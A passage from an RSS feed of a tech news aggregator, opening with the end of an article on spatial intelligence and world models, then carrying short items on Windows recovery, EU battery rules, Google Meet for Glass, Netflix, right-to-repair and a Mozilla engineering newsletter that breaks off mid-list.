<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11 has more recovery options than ever, and here’s exactly when I would use each one to fix a broken PC]]></title>
<description><![CDATA[Windows 11 doesn't rely on one recovery option. Discover every tool available to repair, restore, reset, and rebuild your computer.]]></description>
<link>https://tsecurity.de/de/3671066/windows-tipps/windows-11-has-more-recovery-options-than-ever-and-heres-exactly-when-i-would-use-each-one-to-fix-a-broken-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671066/windows-tipps/windows-11-has-more-recovery-options-than-ever-and-heres-exactly-when-i-would-use-each-one-to-fix-a-broken-pc/</guid>
<pubDate>Wed, 15 Jul 2026 16:59:03 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Windows 11 doesn't rely on one recovery option. Discover every tool available to repair, restore, reset, and rebuild your computer.]]></content:encoded>
</item>
<item>
<title><![CDATA[LegacyHive: 'Bone-shattering' zero-day from Microsoft's serial tormentor not the haymaker that was promised]]></title>
<description><![CDATA[Experts say it’s a useful post-compromise tool, for those with the brain cells required to put it together]]></description>
<link>https://tsecurity.de/de/3670750/it-security-nachrichten/legacyhive-bone-shattering-zero-day-from-microsofts-serial-tormentor-not-the-haymaker-that-was-promised/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670750/it-security-nachrichten/legacyhive-bone-shattering-zero-day-from-microsofts-serial-tormentor-not-the-haymaker-that-was-promised/</guid>
<pubDate>Wed, 15 Jul 2026 15:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Experts say it’s a useful post-compromise tool, for those with the brain cells required to put it together]]></content:encoded>
</item>
<item>
<title><![CDATA[Thought smart glasses were creepy? These bone conduction headphones have a tiny 4K camera — but luckily they're aimed at cyclists]]></title>
<description><![CDATA[The W&O X1 put a recording camera right by your ear, which is great for action cam videos but worrying for privacy.]]></description>
<link>https://tsecurity.de/de/3667992/it-nachrichten/thought-smart-glasses-were-creepy-these-bone-conduction-headphones-have-a-tiny-4k-camera-but-luckily-theyre-aimed-at-cyclists/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667992/it-nachrichten/thought-smart-glasses-were-creepy-these-bone-conduction-headphones-have-a-tiny-4k-camera-but-luckily-theyre-aimed-at-cyclists/</guid>
<pubDate>Tue, 14 Jul 2026 15:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The W&amp;O X1 put a recording camera right by your ear, which is great for action cam videos but worrying for privacy.]]></content:encoded>
</item>
<item>
<title><![CDATA[EU regulations could force an Apple Pencil upgrade in early 2027]]></title>
<description><![CDATA[The iPad Pro with M6 is expected in early 2027 and Apple may release upgraded Apple Pencil models with easier-to-replace batteries in time for new EU regulations.EU regulations will force Apple to rethink Apple Pencil designThe European Union mandated in 2023 that consumer electronics must have e...]]></description>
<link>https://tsecurity.de/de/3663430/ios-mac-os/eu-regulations-could-force-an-apple-pencil-upgrade-in-early-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663430/ios-mac-os/eu-regulations-could-force-an-apple-pencil-upgrade-in-early-2027/</guid>
<pubDate>Sun, 12 Jul 2026 16:38:20 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The iPad Pro with M6 is expected in early 2027 and Apple may release upgraded <a href="https://appleinsider.com/inside/apple-pencil" title="Apple Pencil" data-kpt="1">Apple Pencil</a> models with easier-to-replace batteries in time for new EU regulations.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68226-143812-Apple-Pencil-Pro-4-xl.jpg" alt="White digital stylus hovering over a blank light gray surface, with a tiny black mark beneath the tip, suggesting the start of writing or drawing" height="738"><br><span>EU regulations will force Apple to rethink Apple Pencil design</span></div><br>The European Union <a href="https://appleinsider.com/articles/23/07/13/new-eu-regulations-mandate-user-replaceable-batteries-in-apple-products">mandated in 2023</a> that consumer electronics must have easily replaced batteries by 2027. One of Apple's notoriously impossible-to-repair products is the Apple Pencil, which could see some design changes to meet this mandate.<br><br><a href="https://www.bloomberg.com/account/newsletters/power-on">According to</a> the "Power On" newsletter from <em>Bloomberg</em>, Apple is expected to release an updated <a href="https://appleinsider.com/inside/apple-pencil-pro" title="Apple Pencil Pro" data-kpt="1">Apple Pencil Pro</a> and Apple Pencil with USB-C in early 2027. That timing aligns with <a href="https://appleinsider.com/articles/26/03/01/ipad-pro-with-vapor-chamber-cooling-will-wait-until-early-2027">previous reports</a> of an <a href="https://appleinsider.com/inside/ipad-pro" title="iPad Pro" data-kpt="1">iPad Pro</a> refresh during the same release window.<br><br><br> <strong>Rumor Score:</strong> 🤯 Likely <br><br><br> <a href="https://appleinsider.com/articles/26/07/12/eu-regulations-could-force-an-apple-pencil-upgrade-in-early-2027?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244931?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[First look: Google Meet for Glass Enterprise Edition 2]]></title>
<description><![CDATA[As the nature of work changes, we’re constantly finding new ways to make communication more efficient, reliable and secure. And our mission has never been more critical than in today’s remote work environment. Many businesses are adapting to new policies and procedures that keep workers safe. As ...]]></description>
<link>https://tsecurity.de/de/3662849/it-security-nachrichten/first-look-google-meet-for-glass-enterprise-edition-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662849/it-security-nachrichten/first-look-google-meet-for-glass-enterprise-edition-2/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="jcg9x">As the nature of work changes, we’re constantly finding new ways to make communication more efficient, reliable and secure. And our mission has never been more critical than in today’s remote work environment. Many businesses are adapting to new policies and procedures that keep workers safe. As a result, on-site essential workers—those whose roles cannot be carried out remotely—have had to pivot the ways they work and collaborate. </p><p data-block-key="euhlg">That’s why we’re making it easier for on-site workers to connect face-to-face with others who are working remotely using our new Google Meet experience for <a href="https://www.google.com/glass/start/" target="_blank">Glass Enterprise Edition 2</a>. With Meet for Glass, workers can securely connect over video in real-time and keep their hands free to perform tasks. Starting today, Google Workspace customers can <a href="https://www.google.com/glass/contact/business/" target="_blank">apply to join the Google Meet for Glass beta program</a>. </p><p data-block-key="4uusc"><b>Keeping data technicians safe with Meet on Glass </b></p><p data-block-key="vhb2z">Following Google’s dogfooding tradition, we started testing Meet for Glass early on at our own data centers. Google owns and operates data centers all over the world, helping to keep our products and services running 24/7. To keep our customers' data safe, we make sure each data center is protected with <a href="https://blog.google/inside-google/infrastructure/how-data-center-security-works/" target="_blank">six layers of physical security</a> designed to prevent unauthorized access. We understand that it’s critical that we provide a safe work environment for the remarkable people who run the data centers, especially during these times.</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Meet_for_Glass_in_a_datacenter.max-1000x1000.jpg" alt="Meet for Glass in a datacenter.jpg">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="fgecy">Meet for Glass in a datacenter (Image simulated)</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p data-block-key="ze724">Using Meet for Glass, Google’s data technicians can connect with each other to diagnose an issue, review equipment and even train new employees. They’re able to work independently and still easily collaborate with others across their facility, in other buildings or even with employees who are working from home. People dialed into Meet can see exactly what the data technician is doing and communicate clearly with them to provide real-time feedback. In the past, working remotely meant walking around equipment with a bulky webcam or laptop. With Glass, technicians are now able to work hands-free and focus on the task at hand. </p><p data-block-key="xvl9k"><b>Helping on-site workers across industries</b></p><p data-block-key="w8ra6">Data centers are one of many examples in which remote assistance can help maintain operational efficiency. In this new normal, workers across industries are benefiting from heads-up and hands-free solutions. For instance, manufacturers experiencing a surge in demand for essential products, such as personal protective equipment, medications, and cleaning supplies, can have on-site employees monitor and maintain factory equipment with help from specialists worldwide. Similarly, field service technicians can connect with remote experts to quickly repair devices that provide quality care to patients. And real-estate professionals can give a first-person virtual tour or perform remote inspections for prospective tenants and homebuyers.</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Meet_For_Glass.max-1000x1000.jpg" alt="Meet For Glass.jpg">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p data-block-key="taf14">Glass has been helping on-site essential workers for years and now with Meet for Glass, we’re excited to continue supporting companies navigate new challenges with remote work as they unfold across industries. Google Workspace customers can apply to the <a href="https://www.google.com/glass/contact/business/" target="_blank">Meet for Glass beta</a> to get early access.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[EU Rules Will Not Force Removable iPhone Battery Doors In 2027]]></title>
<description><![CDATA[Despite what you might see in viral social media posts, iPhones sold in the European Union will not feature a removable back panel for easy battery replacements. Rumors constantly claim that upcoming laws will force major design changes by the year 2027, but this information is simply incorrect. ...]]></description>
<link>https://tsecurity.de/de/3659800/ios-mac-os/eu-rules-will-not-force-removable-iphone-battery-doors-in-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659800/ios-mac-os/eu-rules-will-not-force-removable-iphone-battery-doors-in-2027/</guid>
<pubDate>Fri, 10 Jul 2026 15:10:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Despite what you might see in viral social media posts, iPhones sold in the European Union will not feature a removable back panel for easy battery replacements. Rumors constantly claim that upcoming laws will force major design changes by the year 2027, but this information is simply incorrect. The tech giant already meets the strict new legal requirements without needing to alter how its phones are built.



Viral internet rumors about removable batteries are completely false



Recent videos and online discussions claim that the European Union is going to force Apple to bring back user-replaceable batteries in a few years. These posts suggest that future models will feature a removable plastic or glass door, allowing anyone to easily swap a dead battery without visiting a repair shop.



While the European Union does have a new battery law taking effect in 2027, the claims about a forced hardware redesign are wrong. The company has a long history of fighting with European regulators over things like charging ports and artificial intelligence, but it has an easy out in this specific situation.



The upcoming regulation demands easy battery swaps for most smartphones



The current confusion stems from a very real piece of legislation called Commission Regulation 2023/1670. This new rule specifically targets smartphones and tablets, stating that their batteries must be readily removable and replaceable by the user.



The law requires that an average adult consumer should be able to swap out the power cell without needing any highly specialized tools. At first glance, this sounds like a massive problem for the sealed glass iPhone, leading people to assume a completely redesigned product is coming to Europe in 2027.



A special exemption clause protects water resistant and premium devices



If you read deeper into the text of the law, there is a clear exemption clause that applies directly to premium smartphones. If a phone is designed to be highly water resistant and its battery can retain a high percentage of its original capacity after hundreds of charge cycles, it does not need a removable back panel.



Because the company already builds highly water resistant phones with long lasting batteries that meet these exact cycle standards, it easily bypasses the removable door requirement. Buyers expecting a return to the days of popping off a plastic back cover to swap a battery will be very disappointed, as the current sealed design is perfectly legal.]]></content:encoded>
</item>
<item>
<title><![CDATA[Lenovo's Repairable X1 Carbon Gen 14 is a Dream Business Laptop video]]></title>
<description><![CDATA[Just when we thought our favorite business laptop reached its peak, Lenovo redesigned the interior of its ThinkPad X1 Carbon laptop to be modular and repair-friendly.]]></description>
<link>https://tsecurity.de/de/3659736/it-nachrichten/lenovos-repairable-x1-carbon-gen-14-is-a-dream-business-laptop-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659736/it-nachrichten/lenovos-repairable-x1-carbon-gen-14-is-a-dream-business-laptop-video/</guid>
<pubDate>Fri, 10 Jul 2026 14:47:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Just when we thought our favorite business laptop reached its peak, Lenovo redesigned the interior of its ThinkPad X1 Carbon laptop to be modular and repair-friendly.]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix Looks at Live Channels While Ignoring Easy Software Fixes]]></title>
<description><![CDATA[Netflix is looking for fresh methods to keep its audience active on the platform. Recent internal discussions point to a measurable decline in subscriber engagement, meaning people are spending less time watching and finishing their shows. To repair this drop in daily viewership, the company is t...]]></description>
<link>https://tsecurity.de/de/3659597/ios-mac-os/netflix-looks-at-live-channels-while-ignoring-easy-software-fixes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659597/ios-mac-os/netflix-looks-at-live-channels-while-ignoring-easy-software-fixes/</guid>
<pubDate>Fri, 10 Jul 2026 13:53:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix is looking for fresh methods to keep its audience active on the platform. Recent internal discussions point to a measurable decline in subscriber engagement, meaning people are spending less time watching and finishing their shows. To repair this drop in daily viewership, the company is thinking about adding continuous live channels and bundling third-party streaming video services directly inside its main application.



The streaming platform considers continuous live channels to keep viewers engaged



Executives at Netflix believe that setting up permanent live channels could stop users from closing the app when they cannot decide what to watch. Instead of scrolling through endless menus, a viewer could just select a genre channel that constantly broadcasts movies and shows. This setup would also give the company a brand new way to display commercials that users cannot skip.



Alongside live channels, Netflix is looking into offering subscriptions to competing platforms like Peacock. It would sell these directly to users, acting as a central hub for different services.



A simple integration with existing platforms could easily solve the problem



While Netflix looks for complicated fixes, a very obvious solution is sitting right there. The service still refuses to let its content show up in the default Apple TV app. For years, users have asked for this basic feature so they can track all their favorite shows in one single place.



Netflix prefers to keep total control, forcing users to open its specific app rather than letting them browse its catalog alongside other options. However, if dropping engagement is truly a major concern, embracing Apple and its universal viewing guide might be the easiest way to get its original movies and shows in front of a larger audience. Sometimes the best way to get people to watch is simply to meet them where they already are.]]></content:encoded>
</item>
<item>
<title><![CDATA[John Deere Farm Equipment Owners Have Right-to-Repair, F.T.C. Says]]></title>
<description><![CDATA[A settlement by the company with the Federal Trade Commission will allow farmers and local mechanics to make their own fixes, instead of relying on authorized dealers.]]></description>
<link>https://tsecurity.de/de/3659343/it-nachrichten/john-deere-farm-equipment-owners-have-right-to-repair-ftc-says/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659343/it-nachrichten/john-deere-farm-equipment-owners-have-right-to-repair-ftc-says/</guid>
<pubDate>Fri, 10 Jul 2026 12:03:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A settlement by the company with the Federal Trade Commission will allow farmers and local mechanics to make their own fixes, instead of relying on authorized dealers.]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Tooling Announcements: Engineering Effectiveness Newsletter (Q2 2026 Edition)]]></title>
<description><![CDATA[Welcome to the Q2 edition of the Engineering Effectiveness Newsletter! The Engineering Effectiveness org makes it easy to develop, test and release Mozilla software at scale. See below for some highlights, then read on for more detailed info!
Highlights 


Improved mach startup overhead by 30-50%...]]></description>
<link>https://tsecurity.de/de/3657816/tools/firefox-tooling-announcements-engineering-effectiveness-newsletter-q2-2026-edition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657816/tools/firefox-tooling-announcements-engineering-effectiveness-newsletter-q2-2026-edition/</guid>
<pubDate>Thu, 09 Jul 2026 19:08:33 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Welcome to the Q2 edition of the Engineering Effectiveness Newsletter! The Engineering Effectiveness org makes it easy to develop, test and release Mozilla software at scale. See below for some highlights, then read on for more detailed info!</p>
<h3><a class="anchor" href="https://discourse.mozilla.org/#p-295620-highlights-image29x31uploadsijwaz2bmu1cm7txaoyutaj3g7djpeg-1" name="p-295620-highlights-image29x31uploadsijwaz2bmu1cm7txaoyutaj3g7djpeg-1"></a>Highlights <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/c/6/c64f1102bb6b55e5a9e11c7390019d84dcc69fbf.jpeg" rel="noopener nofollow ugc" title="image"><img alt="image" height="31" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/c/6/c64f1102bb6b55e5a9e11c7390019d84dcc69fbf_2_29x31.jpeg" width="29"></a></div></h3>
<ul>
<li>
<p>Improved <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1775197">mach startup overhead</a> by 30-50%, as well as a 75% improvement for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018327">mach test on Windows</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017746">10s faster configure</a> for subsequent runs</p>
</li>
<li>
<p>Moved to weekly scheduled dot releases and <a href="https://docs.google.com/document/d/1oktCbzZ3M7NZTMBxv8yEOYmNHHxaIstZ55vRMI9PmzM/edit?tab=t.0#heading=h.r7335u1pggl8" rel="noopener nofollow ugc">faster rollouts</a>, allowing us to deliver fixes and uplifts to users faster and more reliably</p>
</li>
<li>
<p>Created a <a href="https://tests.firefox.dev/" rel="noopener nofollow ugc">huge number of dashboards</a> to help developers dig into Mochitest and XPCShell tests</p>
</li>
<li>
<p>Stood up <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037084">MacOS worker pools</a> that can run multiple tasks at once using VMs, greatly improving our Mac capacity issues</p>
</li>
<li>
<p>Can now <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034982">navigate to about:pdf</a> in Nightly to open and edit arbitrary PDF files, including the ability to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2047633">set Firefox as your default PDF editor</a> on MacOS</p>
</li>
</ul>
<h3><a class="anchor" href="https://discourse.mozilla.org/#p-295620-detailed-project-updates-2" name="p-295620-detailed-project-updates-2"></a>Detailed Project Updates</h3>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-ai-for-development-image38x38uploaduslsg1wyqmsnwpkkcpts9bzsgdspng-3" name="p-295620-ai-for-development-image38x38uploaduslsg1wyqmsnwpkkcpts9bzsgdspng-3"></a>AI for Development <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/d/5/d581d7036fa3d622443350328d622c936216ecf6.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="38" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/d/5/d581d7036fa3d622443350328d622c936216ecf6.png" width="38"></a></div></h4>
<ul>
<li>
<p>Suhaib Mujahid deployed the initial version of <a href="https://docs.google.com/document/d/1cLIuNnhefePsixu8iRiqAn75EcVvgQHw48pUTkhpwok/edit?tab=t.0" rel="noopener nofollow ugc">Hackbot</a>, a platform for building and running AI agents to automate parts of the Firefox development workflow.</p>
</li>
<li>
<p>Evgeny Pavlov ported the “Build Repair Agent” to Hackbot and deployed it for testing. It now monitors Firefox build failures and triggers the agent. When an analysis and a proposed patch are ready developers can be notified by email.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-bugzilla-image16x16uploadrcf6wygovavtrjvslvu8pj7vnyhpng-4" name="p-295620-bugzilla-image16x16uploadrcf6wygovavtrjvslvu8pj7vnyhpng-4"></a>Bugzilla <img alt="image" height="16" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/b/e/bea92544acb6ddb5aa665316f3c7411bc860c8db.png" width="16"></h4>
<ul>
<li>
<p>David Lawrence added a new GitHubPullRequests extension that renders a live status panel in the bug modal for any attachment whose content type is text/x-github-pull-request. A new REST endpoint fetches PR metadata (state, author, labels, latest review per reviewer) from the GitHub REST API on demand, and a client-side script populates a table with a “show closed/merged” toggle.[image]</p>
</li>
<li>
<p>Xavier L’Hour improved the user experience for developers, adding shortcuts to buglist.cgi for all, open, or closed bugs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1764713">1764713</a>)</p>
</li>
<li>
<p>Xavier L’Hour added a new shortcut button to the bug page that allows users to quickly move spam bugs to the Invalid Bugs product (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1684509">1684509</a>).</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-build-system-and-mach-environment-image27x27uploadoumafz5bcpgk6de6ddcb6m1uzptpng-5" name="p-295620-build-system-and-mach-environment-image27x27uploadoumafz5bcpgk6de6ddcb6m1uzptpng-5"></a>Build System and Mach Environment <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/a/e/ae9342c7f7dcfe9d427c191b43c7aaf993ceeffb.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="27" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/a/e/ae9342c7f7dcfe9d427c191b43c7aaf993ceeffb_2_27x27.png" width="27"></a></div></h4>
<ul>
<li>
<p>Alex Hochheiden has been moving build system logic out of make to pave the way for a new build system backend (coming soon). See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038789">Bug 2038789</a>.</p>
</li>
<li>
<p>Alex Hochheiden landed a 30%-50% (platform dependent) speedup for mach startup. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1775197">Bug 1775197</a>.</p>
</li>
<li>
<p>Alex Hochheiden sped up subsequent configure runs by ~10s by adding caching to the mach taskgraph toolchain step. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017746">Bug 2017746</a>.</p>
</li>
<li>
<p>Alex Hochheiden reduced mach test startup overhead on Windows by 75%. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018327">Bug 2018327</a>.</p>
</li>
<li>
<p>Alex Hochheiden has achieved significant code deduplication and simplification by consolidating the Android Gradle configuration into convention plugins. There were also various Gradle configure-cache improvements. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007013">Bug 2007013</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950099">Bug 1950099</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013417">Bug 2013417</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017752">Bug 2017752</a>, and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017753">Bug 2017753</a>.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-firefox-ci-image25x26uploadga1rfuc1fs6gwtrx3kk92r8hfncjpeg-6" name="p-295620-firefox-ci-image25x26uploadga1rfuc1fs6gwtrx3kk92r8hfncjpeg-6"></a>Firefox-CI <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/4/74356ec644bf30f10ea5f0ce6067cdd819ea96e4.jpeg" rel="noopener nofollow ugc" title="image"><img alt="image" height="26" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/7/4/74356ec644bf30f10ea5f0ce6067cdd819ea96e4_2_25x26.jpeg" width="25"></a></div></h4>
<ul>
<li>
<p>Julien Cristau <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2050408">added support</a> for interactive tasks (aka one click loaners) on Windows and macOS</p>
</li>
<li>
